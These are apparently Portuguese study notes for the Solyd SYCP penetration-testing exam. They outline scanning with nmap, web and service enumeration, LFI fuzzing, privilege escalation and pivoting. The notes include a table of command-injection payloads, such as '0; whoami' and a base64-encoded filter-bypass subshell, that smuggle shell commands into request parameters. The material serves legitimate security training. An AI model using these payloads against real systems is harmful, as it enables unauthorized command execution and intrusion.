Anotações para a prova SYCP | Solyd One
- Anotações para a prova SYCP | Solyd One

🧪 Metodologia Inicial
- Será passado um IP
- Devemos começar com o
nmappara descobrir portas e versões
🔍 Comandos Nmap
nmap xxx.xxx.xx.xx -sV -T4 -O
# -O - detecta o sistema operacional
# Executa alguns scripts padrão de vulnerabilidades
nmap xxx.xxx.xx.xx -sV -sC -T4
# Varredura completa:
# - Todas as portas
# - Identificação de serviços
# - Scripts básicos
nmap -p- -sC -sV xxx.xxx.xx.xx
# Varredura de portas UDP
nmap xxx.xxx.xx.xx -T4 -sU -p -
# Full Scan
sudo nmap -p- -sS -sV -O -T4 <endereço-ip>
# -p- → Escaneia todas as portas TCP (1–65535).
# -sS → Scan do tipo SYN (também chamado de “stealth scan”).
# -sV → Detecta versão dos serviços nas portas abertas.
# -O → Tenta identificar o sistema operacional.
# -T4 → Define uma velocidade de execução mais rápida (nível 4).
<endereço-ip> → IP ou domínio do alvo.
🧠 Análise Pós-Scan
-
Para obter informações sobre o usuário e máquina
id
whoami
hostname -
Analisar as
envsenv -
Após descobrir as versões, devemos procurar por vulnerabilidades
- Exemplo: Metasploit
-
Podemos usar ferramentas para descobrir qual tecnologia é usada na página
- Às vezes usam Apache
- 📄 Documentação: 28-xss.md
🌐 Enumeração Web
-
Verificar a slug:
robot.txt
-
Brute Force de diretórios
- Ferramenta: gobuster
- Tipo: fuzzing
- 📄 Referência: 15-coleta-url-com-gau-gf-OSINT.md
📂 Serviços Importantes
📡 FTP — Porta 21
- Se tiver FTP, tentar realizar a conexão:
ftp xxx.xxx.xx.xx
⚠️ Atenção Podemos ter usuários padrão como:
anonymousftp
🗄️ SAMBA — Portas 139, 445
- Se tiver Samba, usar o comando:
smbclient -L //ip-servidor
Lista pastas compartilhadas do servidor
🌍 Domínios e Hosts
-
Se achar algum domínio em arquivos
.txtdentro do servidor:- Vincular o IP ao domínio no arquivo
/etc/hostsdo Linux
- Vincular o IP ao domínio no arquivo
🔓 Vulnerabilidades Comuns
-
Validar:
- LFI
- RFI
- Directory Traversal
-
📄 Referência: 27-lfi-rfi-directory-transversal.md
-
Comandos:
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt -u "http://10.129.7.252?page=FUZZ"
🐚 Shells
- Reverse Shell
- Web Shell
📄 Documentações:
📤 Upload de Arquivos
-
Ficar atento a formulários que permitem upload de arquivos
-
Shell reverse automatizada:
⬆️ Escalação de Privilégios
-
Utilizar:
- linPEAS
🧩 Pós-Exploração
- Verificar permissões do
sudo:
ls -l $(which sudo)
📄 Referência:
📄 Arquivos de senhas
- Olhar os arquivos de senha como
passwdeshadow. Documentação sobre: 🔗 Clique aqui
🔁 Pivoting / Tunnel
- Criar SSH Tunnel entre máquinas locais
- Seguir todo o fluxo novamente após o pivot
📁 Diretórios e Arquivos para Ficar de Olho
.ssh.bash_historyrobot.txtproc/self/environment
⭐ Dicas de parâmetros
- Ao alterar algum parâmetro, faça o teste se é possível executar algum comando por ele. Exemplo:
{
"y": "0; sleep 3;"
}
| **Tipo de Teste** | **Payload (entrada)** | **Efeito Esperado** | **Observações** | | |
| --------------------- | ---------------------------- | ------------------------------------------------------- | ----------------------------------------------------------- | ------------------------------------------- | ------------------------------------- |
| **Delay simples** | `0; sleep 5;` | A resposta da API demora 5 segundos | Confirma execução de comando | | |
| **Comando `whoami`** | `0; whoami` | Resposta ou log contendo o nome do usuário do sistema | Não destrutivo, útil para detecção | | |
| **Comando `uname`** | `0; uname -a` | Sistema operacional e versão retornados | Pode revelar o sistema em uso | | |
| **Redirecionamento** | `0; whoami > /tmp/teste.txt` | Criação de arquivo com saída do comando | Útil em testes de escrita em disco | | |
| **Comando encadeado** | `0 && echo injetado` | Retorna "injetado" se o primeiro comando tiver sucesso | Detecta execução condicional | | |
| **Subshell** | `$(sleep 3)` | Atraso na resposta | Testa execução via subshell | | |
| **Execução oculta** | `` `sleep 3` `` | Atraso na resposta | Outra forma de testar subshell | | |
| **Hex/Base64** | `$(echo c2xlZXAgMw== | base64 -d | sh)` | Decodifica e executa `sleep 3` | Pode contornar filtros simples |
| **Teste de erro** | `0;` | Se resposta for `500`, pode indicar tratamento inseguro | Útil mesmo sem execução real | | |
| **Ping local** | `0; ping -c 3 127.0.0.1` | Atraso de ~3 segundos | Alternativa ao `sleep` se este for bloqueado | | |
| **Barra vertical** | `0 | sleep 3` | Executa `sleep 3` se o valor anterior for aceito pelo shell | Teste de execução via pipe (` | `) |
| **Inversão lógica** | `0 | | echo falhou` | Executa `echo` se o primeiro comando falhar | Detecta tratamento de erros via shell |
📁 Arquivos
- Olhar com o comando
filepara ver o que realmente é o arquivo - Usar o comando
stringspara ver se tem algum byte escondido. O editor de bytes chamadaghex - O programa
steghideé usado para esconder um arquivo dentro de outro - O comando
ltracevê o que cada arquivo ou comando executa por baixo dos panos
Validar os tipos de extensões pois podem estar contidas dentro dos arquivos Documentação sobre extensões: 🔗 Clique aqui Playlist da SolydOne que mostra a situação: Solyd CTF 2019 - Cracker ou Hacker - Flag 3
🏠 Portas
- Quando houver uma porta TCP desconhecida, podemos usar o seguinte comando:
nc <ip> <port>